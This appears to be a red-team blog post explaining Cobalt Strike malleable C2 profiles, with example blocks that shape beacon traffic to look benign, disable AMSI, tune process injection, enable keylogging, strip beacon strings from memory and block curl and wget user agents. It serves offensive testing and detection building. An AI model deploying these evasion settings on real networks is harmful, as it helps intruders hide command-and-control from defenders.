public

Understanding Cobalt Strike Profiles

A deep dive into specifics around cobalt strike malleable c2 profiles and key information that is new in cobalt strike 4.4.

a month ago

Latest Post LTR102 - Teaser by Andy Gill public

I really enjoy the process of red teaming especially when it comes to evading detection and lining up against a good blue team. Probably one of the most common commercially available Command and Control(C2) frameworks used today is Cobalt Strike(CS). So popular in fact it is classified on its own as a malware family by many defensive security products.

Using CS in red team operations is common practice for a lot of companies offering red teaming to their clients and my mileage is no different there. Having used many products I've found the ability to craft how the C2 responds to traffic very useful, which is where malleable c2 profiles enter the conversation.

One of the great and popular features of cobalt strike is the ability to create profiles  to shape and mask traffic, essentially a profile is used to tell the CS teamserver how traffic is going to look and how to respond to the data the beacon sends it.

Example Profile

The output below is an example profile broken down into the different sections and much like the documentation explains, I am going to break down what each section does and how it works both from a profile specific perspective and in use case scenarios.

In addition I will explain what different sections can be used for to help blue team and purple team folks alike understand how it works and how to develop detections.

Auxiliary Information

set sample_name "Zsec Example Profile";
set host_stage "false"; 
set jitter "0";
set pipename "msagent_###"; # Each # is replaced witha random hex value.
set pipename_stager "status_##";
set sleeptime "60000"; # default sleep in ms, 1 minute
set ssh_banner "Cobalt Strike 4.4";
set ssh_pipename "postex_ssh_####";
set data_jitter "100"; 
set useragent "Not Cobalt Strike";

The initial section is where the auxiliary information is set such as sleep times, user agent, named pipes and banners. The different options above are broken down as follows:

HTTP Config

In addition to the auxiliary information at the top of the profile, the http-config section specifies additional aux information related to specifics applicable to all aspects of the profile. Such as headers to be sent in requests, whether X-Forwarded-For is to be trusted or not and if specific user agents are to be blocked or allowed. The http-config block has influence over all HTTP responses served by Cobalt Strike’s web server.

http-config {
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive" "timeout=10, max=100";
    header "Connection" "Keep-Alive";
    set trust_x_forwarded_for "true";
    set block_useragents "curl*,lynx*,wget*";
    set allow_useragents "*Mozilla*";
}

TLS Certificate

When using a HTTPS listener, CS gives the option for using signed HTTPS certificates for C2 communications. There are multiple options when setting this up ranging from none to signed by trusted authority all of which are described below:

https-certificate {
	# Option 1: Create a signed certificate with Java Keystore tool
	set keystore "/pathtokeystore";
    set password "password";
    
    # Option 2: Self Signed with vendor specifics
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
    
}

HTTPSC2DoneRight will enable you to create a signed TLS certificate that can be used with CS to improve legitmacy.

Client and Server Interactions

The most customisable aspect of the profile is being able to specify which sections act in different ways, the main ones are GET and POST specifying how traffic is intercepted and how data is chunked. An example GET and POST section are shown below complete with both client and server interactions.

http-get {
    set uri "/web /api/gallery /updates /about";

    client {
        header "Accept" "*/*";
        header "Connection" "Close";
        header "Host" "zsec.uk";

        metadata {
            base64;
            netbios;
            prepend "cf=";
            header "Cookie";
        }
    }

    server {
        output {
        
            print;
        }
    }
}



The main sections of the profile are broken up into uri, client, server and the contents held within each. Breaking the above section down:

There are a few options available when it comes to data encoding and transformation. For example, you may choose to netbios encode the data to transmit, prepend some information, and then base64 encode the whole package.

POST Section

http-post {
    set uri "/web/auth.php /admin/login.php";

    client {
        header "Accept" "*/*";
        header "Host" "zsec.uk";
        header "Connection" "Close";

        id {
            netbios;
            base64url;
            parameter "key";
        }

        output {
            print;
        }
    }

    server {
        header "Pragma" "no-cache";
        header "Connection" "close";

        output {
            print;
        }
    }
}

Again like the GET section above, the POST section states how information should be sent in a POST request, it has the added benefit that specifics such as body content and other parameters can be set to enable you to blend in.

Post Exploitation

Customising the GET and POST requests is just the beginning, the next few sections of the profile is where the magic of post exploitation customisation lives including how the beacon looks in memory, how migration and beacon object files affect the indicators of compromise and much much more.

post-ex {
    
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
    set pipename "Winsock2\\CatalogChangeListener-###-0,";
    set keylogger "GetAsyncKeyState";
    set threadhint "module!function+0x##"
}

Additionally as set in the auxiliary information, the named pipe can be configured for spawning off of new processes under pipename.

Moar Customisation

Now post exploitation is cool and all but how about tuning the ways in which process injection and memory indicators behave? Starting with process injection this is defined with the process-inject { header:

process-inject {
    set allocator "NtMapViewOfSection";

    set min_alloc "17500";
    
    set startrwx "false";
    set userwx   "false";

    transform-x86 {
        prepend "\x90\x90";
        #append "\x90\x90";
    }

    transform-x64 {
        prepend "\x90\x90";
        #append "\x90\x90";
    }
    
     execute {

        CreateThread "ntdll!RtlUserThreadStart+0x42";
        CreateThread;

        NtQueueApcThread-s;
        
        CreateRemoteThread;
        
        RtlCreateUserThread; 
    }
}

The various sections are defined as follows:

The execute section controls the methods that the Beacon will use when it needs to inject code into a process. Beacon examines each option in the execute block, determines if the option is usable for the current context, tries the method when it is usable, and moves on to the next option if code execution did not happen.

Memory Indicators

Finally this block in Malleable C2 profiles controls how Beacon is loaded into memory and edit the contents of the Beacon Reflective DLL.  There are a large amount of options to customise this and as a result the possibilities of how a beacon looks in memory are endless!

stage {
    set userwx         	"false";
    set stomppe        	"true";
    set obfuscate      	"true";
    set name           	"srv.dll";
    set cleanup        	"true";

    # Values captured using peclone against a Windows 10 version of explorer.exe
    set checksum        "0";
    set compile_time    "11 Nov 2016 04:08:32";
    set entry_point     "650688";
	set image_size_x86  "4661248";
	set image_size_x64  "4661248";
	set rich_header     "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90";

    # transform the x64 rDLL stage
    transform-x64 {
        strrep 			"This program cannot be run in DOS mode" "";
        strrep 			"beacon.dll" "";
        strrep 			"beacon.x64.dll" "";
        strrep 			"beacon.x32.dll" "";
    }
    
        # transform the x86 rDLL stage
    transform-x86 {
        strrep 			"ReflectiveLoader" "run";                    
        strrep 			"This program cannot be run in DOS mode" "";
        strrep 			"beacon.dll" "";
        strrep 			"beacon.x64.dll" "";
        strrep 			"beacon.x32.dll" "";
    }

Profile Variants

By default a profile only contains one block of GET and POST however it is possible to pack variations of the current profile by specifying variant blocks. An example variant is shown below:

http-get "GET Azure" {
	client {
		parameter "api" "AZ_example";
        header "Cookie" "SomeValue";
	}

Each variant can have a different name which is later specified when specifying the listener, the screenshot below explains how a listener is defined(borrowed from https://blog.cobaltstrike.com/2019/12/05/cobalt-strike-4-0-bring-your-own-weaponization/).

Variants are selectable when configuring an HTTP or HTTPS Beacon listener. Variants allow each HTTP or HTTPS Beacon listener tied to a single team server to have network IOCs that differ from each other.

Difference between GET-ONLY and normal Profiles

I came across the difference recently when it comes to GET vs POST profiles, there are a few blog posts that covered it but skipped over this part and it left me scratching my head on quite a few occasions. Essentially it is in the name, a GET only profile, funnily enough only uses GET requests to communicate with the server.

In terms of malleable c2 profile for GET-only the options that differ from a standard profile is that the HTTP Verb in the http-post section needs to be set to set verb "GET" as shown below. However the output also needs to be set to base64url and given a parameter to be sent in the URL. There are a few limitations of doing this as unless you are using a shortened URL/URI for your callback host, you are limited to 2,083 characters in a URL which minus the URL gives us on average 2000 chars to play with on each request.

http-post {
    
    set uri "/Search/";
    set verb "GET"; # Option required for GET-Only

    client {

        output {
            base64url; # Option required for GET-Only
            parameter "q";
        }
        
        
        id {
            base64url; # Option required for GET-Only
            parameter "form";
        }
    }

    server {

        header "Cache-Control" "private, max-age=0";
        header "Content-Type" "text/html; charset=utf-8";
        header "Vary" "Accept-Encoding";
        header "Server" "Microsoft-IIS/8.5";
        header "Connection" "close";
        

        output {
            netbios;
            print;
        }
    }
}

The HTTP-POST section serves as the beacon’s response to commands issued by the server and can actually be performed as a HTTP GET or HTTP POST request. In this case for a get-only profile the http verb is set to GET.

New Features in Cobalt Strike 4.4

With all tooling things get updated, so the features below were introduced in CS 4.4 which both improve the profile and operating experience for operators. A few of the newer features that introduce additional options in the CS profile are:

Teamserver Properties File (TeamServer.prop)

I noticed this error when hooking up my CS4.4 team server:

[!] Properties file (/home/ubuntu/cobaltstrike/TeamServer.prop) was not found.

The file contains several optional parameters that can be used to further customise the settings used by the team server to validate screenshot and keylog callback data. It also enables tweaking of other options like the fix for the “HotCobalt” vulnerability. An example teamserver properties file is shown below:

#Cobalt Strike Team Server Properties
#Fri May 07 12:00:00 CDT 2021
# ------------------------------------------------
# Validation for screenshot messages from beacons
# ------------------------------------------------
# limits.screenshot_validated=true
# limits.screenshot_data_maxlen=4194304
# limits.screenshot_user_maxlen=1024
# limits.screenshot_title_maxlen=1024
# Stop writing screenshot data when Disk Usage reaches XX%
# Example: Off
#          "limits.screenshot_diskused_percent=0"
# Example: Stop writing screenshot data when Disk Usage reaches 95%
#          "limits.screenshot_diskused_percent=95"
# Default:
# limits.screenshot_diskused_percent=95
# ------------------------------------------------
# Validation for keystroke messages from beacons
# ------------------------------------------------
# limits.keystrokes_validated=true
# limits.keystrokes_data_maxlen=8192
# limits.keystrokes_user_maxlen=1024
# limits.keystrokes_title_maxlen=1024
# Stop writing keystroke data when Disk Usage reaches XX%
# Example: Off
#          "limits.keystrokes_diskused_percent=0"
# Example: Stop writing keystroke data when Disk Usage reaches 95%
#          "limits.keystrokes_diskused_percent=95"
# Default:
# limits.keystrokes_diskused_percent=95

From the cobalt strike site the properties file is described as:

Lines starting with “#” are comments.

Conclusion

Hopefully this post has given you a deeper understanding of some of the nuances around CS profile creation and some of the areas to explore some more. It has not been a complete guide as I didn't want to re-write the already great malleable C2 documentation. However it gives a bit of guidance around areas that should be noted and some of the key differences between sections and areas that matter.

This post is also now featured in https://github.com/threatexpress/malleable-c2/blob/master/MalleableExplained.md

Andy Gill

Published a month ago